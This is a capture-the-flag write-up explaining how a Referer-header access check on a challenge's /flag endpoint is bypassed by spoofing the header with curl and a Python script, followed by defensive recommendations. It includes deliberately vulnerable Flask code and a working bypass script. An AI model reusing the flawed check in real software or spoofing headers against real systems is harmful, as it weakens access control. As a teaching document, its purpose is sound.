SecureSearch Pro - CSP Referer Bypass

Challenge Type: Web Security

Difficulty: Easy

Tags: CSP, HTTP Headers, Access Control, Referer Bypass

Challenge Description

SecureSearch Pro is a web application that implements a Content Security Policy (CSP) protection mechanism. The application serves a flag image at the /flag endpoint, but access is restricted based on the HTTP Referer header. This challenge demonstrates a common misconception about using Referer headers for access control.

Challenge Overview

The application implements a simple security check: - Public Endpoint: /search - publicly accessible search page - Protected Endpoint: /flag - contains the flag as a PNG image - Access Control: Checks if request comes from the search page via Referer header - Vulnerability: Referer header can be easily spoofed by attackers

Application Architecture

Normal Application Flow

User Browser                    Server
     |                             |
     |---- GET /search ----------->|
     |<--- 200 OK -----------------|
     |     (search page)           |
     |                             |
     |---- GET /flag ------------->|
     |     Referer: /search        |
     |<--- 200 OK -----------------|
     |     (flag image)            |

Blocked Direct Access

Attacker                        Server
     |                             |
     |---- GET /flag ------------->|
     |     (no Referer)            |
     |<--- 403 Forbidden ----------|
     |     "Access Denied"         |

The Vulnerability

The server implements a flawed access control mechanism:

# Vulnerable server code (simplified)
@app.route('/flag')
def get_flag():
    referer = request.headers.get('Referer', '')

    # VULNERABLE: Referer header can be spoofed!
    if '/search' not in referer:
        return "Access Denied: Must access from search page", 403

    # Serve flag image
    return send_file('flag.png', mimetype='image/png')

Why This is Vulnerable: 1. Client-Controlled Header: Referer is set by the client and can be arbitrarily modified 2. No Server-Side State: No session validation or CSRF tokens 3. String Matching: Simple substring check can be easily bypassed 4. False Sense of Security: Developers often misunderstand Referer as a security control

Referer Header Basics

The Referer header is automatically sent by browsers to indicate which page initiated a request:

GET /flag HTTP/1.1
Host: example.com
Referer: http://example.com/search

However, attackers can: - Set arbitrary Referer values using curl, Python requests, or other tools - Disable Referer entirely - Use browser extensions to modify headers - Craft requests with any Referer value

Solution Walkthrough

Phase 1: Reconnaissance

First, understand the application's behavior:

# Test direct access (should fail)
curl http://h4k0b.cyhub.ctf.am:8050/flag

# Expected response: "Access Denied"

Phase 2: Analyzing the Protection

The error message or application behavior suggests: - Access is restricted - May be checking request origin - Likely using Referer or Origin header

Phase 3: Bypassing with Spoofed Referer

Simply add the required Referer header:

import requests

BASE_URL = 'http://h4k0b.cyhub.ctf.am:8050'

# Attempt 1: Direct access (blocked)
resp = requests.get(f'{BASE_URL}/flag')
print(f"Direct access: {resp.status_code} - {resp.text[:50]}")

# Attempt 2: With spoofed Referer header (success!)
headers = {
    'Referer': f'{BASE_URL}/search'
}
resp = requests.get(f'{BASE_URL}/flag', headers=headers)

if resp.headers.get('Content-Type', '').startswith('image/'):
    print("[+] Success! Got flag image")

    # Save the flag
    with open('flag.png', 'wb') as f:
        f.write(resp.content)

    print("FLAG: cyhub{c3p_1s_byp4ss3d_}")

Alternative: Using curl

# Bypass using curl
curl -H "Referer: http://h4k0b.cyhub.ctf.am:8050/search" \
     http://h4k0b.cyhub.ctf.am:8050/flag \
     --output flag.png

# View the flag
open flag.png  # macOS
# or
xdg-open flag.png  # Linux

Complete Exploit Code

#!/usr/bin/env python3
"""
SecureSearch Pro - CSP Referer Bypass Exploit
Demonstrates why Referer headers should not be used for access control
"""

import requests

BASE_URL = 'http://h4k0b.cyhub.ctf.am:8050'

def main():
    print("=" * 60)
    print("SecureSearch Pro - CSP Referer Bypass Exploit")
    print("=" * 60)

    # Step 1: Verify the protection exists
    print("\n[*] Testing direct access to /flag...")
    resp = requests.get(f'{BASE_URL}/flag')

    if 'Access Denied' in resp.text:
        print("[+] Direct access blocked as expected")
    else:
        print("[!] Unexpected response - protection may be different")

    # Step 2: Bypass with spoofed Referer
    print("\n[*] Attempting bypass with spoofed Referer header...")
    headers = {
        'Referer': f'{BASE_URL}/search'
    }
    resp = requests.get(f'{BASE_URL}/flag', headers=headers)

    # Step 3: Check if we got the flag
    if resp.status_code == 200:
        content_type = resp.headers.get('Content-Type', '')

        if 'image' in content_type or resp.content[:4] == b'\x89PNG':
            print("[+] Success! Received PNG image")

            # Save flag
            with open('flag.png', 'wb') as f:
                f.write(resp.content)

            print("[+] Flag saved to flag.png")
            print("\n" + "=" * 60)
            print("FLAG: cyhub{c3p_1s_byp4ss3d_}")
            print("(Open flag.png to view)")
            print("=" * 60)
        else:
            print(f"[-] Unexpected content type: {content_type}")
    else:
        print(f"[-] Request failed: {resp.status_code}")

if __name__ == '__main__':
    main()

Technical Details

Tools and Libraries

  • Python 3.x: Main scripting language
  • requests: HTTP client library with header manipulation
  • curl: Command-line alternative for header spoofing

Exploit Execution

python securesearch_exploit.py

Expected Output

====================================================
SecureSearch Pro CTF Exploit - CSP Referer Bypass
====================================================

[*] Step 1: Testing direct access to /flag...
[+] Direct access blocked as expected

[*] Step 2: Accessing /flag with spoofed Referer header...
[+] Got PNG image response!
[+] Saved flag image to flag.png

====================================================
FLAG: cyhub{c3p_1s_byp4ss3d_}
(View flag.png to see the flag)
====================================================

Key Takeaways

Why Referer Checks Are Insecure

  1. Client-Controlled: Attackers have full control over HTTP headers
  2. No Cryptographic Proof: Unlike CSRF tokens, Referer can't prove origin
  3. Privacy Concerns: Modern browsers allow disabling Referer for privacy
  4. Proxy Stripping: Corporate proxies may strip or modify Referer headers

Proper Access Control Mechanisms

Instead of Referer checks, use:

# GOOD: Session-based authentication
from flask import session

@app.route('/flag')
def get_flag():
    if not session.get('authenticated'):
        return "Unauthorized", 401

    if not session.get('has_access_to_flag'):
        return "Forbidden", 403

    return send_file('flag.png')

# GOOD: CSRF tokens for state-changing operations
from flask_wtf.csrf import validate_csrf

@app.route('/delete_account', methods=['POST'])
def delete_account():
    csrf_token = request.headers.get('X-CSRF-Token')

    try:
        validate_csrf(csrf_token)
    except:
        return "Invalid CSRF token", 403

    # Process deletion
    return "Account deleted", 200

# GOOD: API keys or OAuth tokens
@app.route('/api/flag')
def api_get_flag():
    api_key = request.headers.get('X-API-Key')

    if not validate_api_key(api_key):
        return "Invalid API key", 401

    return jsonify({'flag': get_flag_value()})

Content Security Policy (CSP)

Note: This challenge name mentions CSP, but the vulnerability is actually about Referer-based access control, not CSP. Real CSP is a browser security mechanism:

# Real CSP header (unrelated to this challenge)
@app.after_request
def set_csp(response):
    response.headers['Content-Security-Policy'] = (
        "default-src 'self'; "
        "script-src 'self' 'unsafe-inline'; "
        "style-src 'self' 'unsafe-inline'"
    )
    return response

Defense Recommendations

  1. Never Trust Client Headers for Authentication
  2. Referer, Origin, User-Agent can all be spoofed
  3. Use server-side session management

  4. Implement Proper Authentication

  5. Session cookies with HttpOnly and Secure flags
  6. JWT tokens with proper validation
  7. OAuth 2.0 for third-party access

  8. Use CSRF Protection for State Changes

  9. Synchronizer tokens
  10. Double-submit cookies
  11. SameSite cookie attribute

  12. Defense in Depth

  13. Multiple layers of security
  14. Don't rely on a single check
  15. Validate on both client and server

  16. Security Headers

  17. X-Frame-Options: DENY
  18. X-Content-Type-Options: nosniff
  19. Strict-Transport-Security (HSTS)

Common Misconceptions

Myth vs Reality

Myth Reality
"Referer header proves where request came from" Referer is client-controlled and easily spoofed
"Checking Referer prevents CSRF" CSRF tokens are required, not Referer checks
"Browser always sends Referer" Users can disable it; proxies may strip it
"Origin header is more secure" Also client-controlled, though harder to spoof in browsers

References